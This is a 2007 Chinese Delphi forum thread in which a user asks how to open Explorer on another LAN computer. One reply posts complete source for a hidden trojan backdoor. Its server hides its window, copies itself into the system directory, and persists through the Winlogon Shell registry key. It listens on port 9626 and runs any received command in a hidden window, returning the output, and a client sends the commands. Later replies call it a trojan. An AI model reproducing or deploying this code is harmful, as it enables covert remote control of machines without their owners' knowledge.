关于一个在局域网中的特殊功能!

功能:在‘电脑A'中运行某程序,在'电脑B'中弹出程序(比如资源管理器)!
条件:在局域网中
假设在自已的电脑执行下面的代码,结果是资源管理器在'电脑B‘中打开,
当然是资源管理器的当前路径是要我想要的路径!
ShellExecute(Handle, 'explore', PChar(Edit2.Text), nil, nil, SW_SHOW);
[245 byte] By [kenny_liao] at [2008-5-2]
# 1
请高手们教教如何在Delphi中实现这个小程序.
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 2
从网上找的,给你
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procedure Button2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;

end.

Ayx_hys at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 3
能不能不用侦听端口啊,
最好不要使用服务器与客户端.
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 4
我曾用过最笨的方法如下:
1.在'电脑B'中的任务计划中加入任务计划(当然是加入你想运行'电脑B'中的程序)。
2.立即执行那个任务.

缺点;
1.费事,总是要在局域网中找到'电脑B'中的任务计划,然后再加一项计划.
2.打开资源管理器之后不是我想要的路径.
3.当要对多人执行同样的操作时,烦!!
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 5
在Unix中没有问题,可以随便重定向。
但是Windows中就麻烦了,不用C/S方式做远程控制,就必须使用RPC接口。
DelphiGuy at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 6
真的没人有人能解决吗???
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 7
这个问题,据我知道,还真没人能解决。。
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 8
我想要原程序,谁有的话能不能发一份给我,谢谢了
我的Email:newzzq@126.com
newqq at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 9
看样,要实现这个功能,
还真是难啊!
发出来这么久了,
没反应,
看样高手还是少得很哟。。
kenny_liao at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 10
学习..=高手..
# 11
就是需要在电脑B中写一木马,电脑A发命令给木马,由它在B上执行。据我所知,大部分远程控制软件都是这样实现的。你不想这样,那真是不好弄。
zczb-zczb at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...
# 12
这种东西,真的不改支持,都是木马的人。
gogogo-嘿嘿 at 2007-10-20 > top of Msdn China Tech,Delphi,语言基础/算法/系统设计...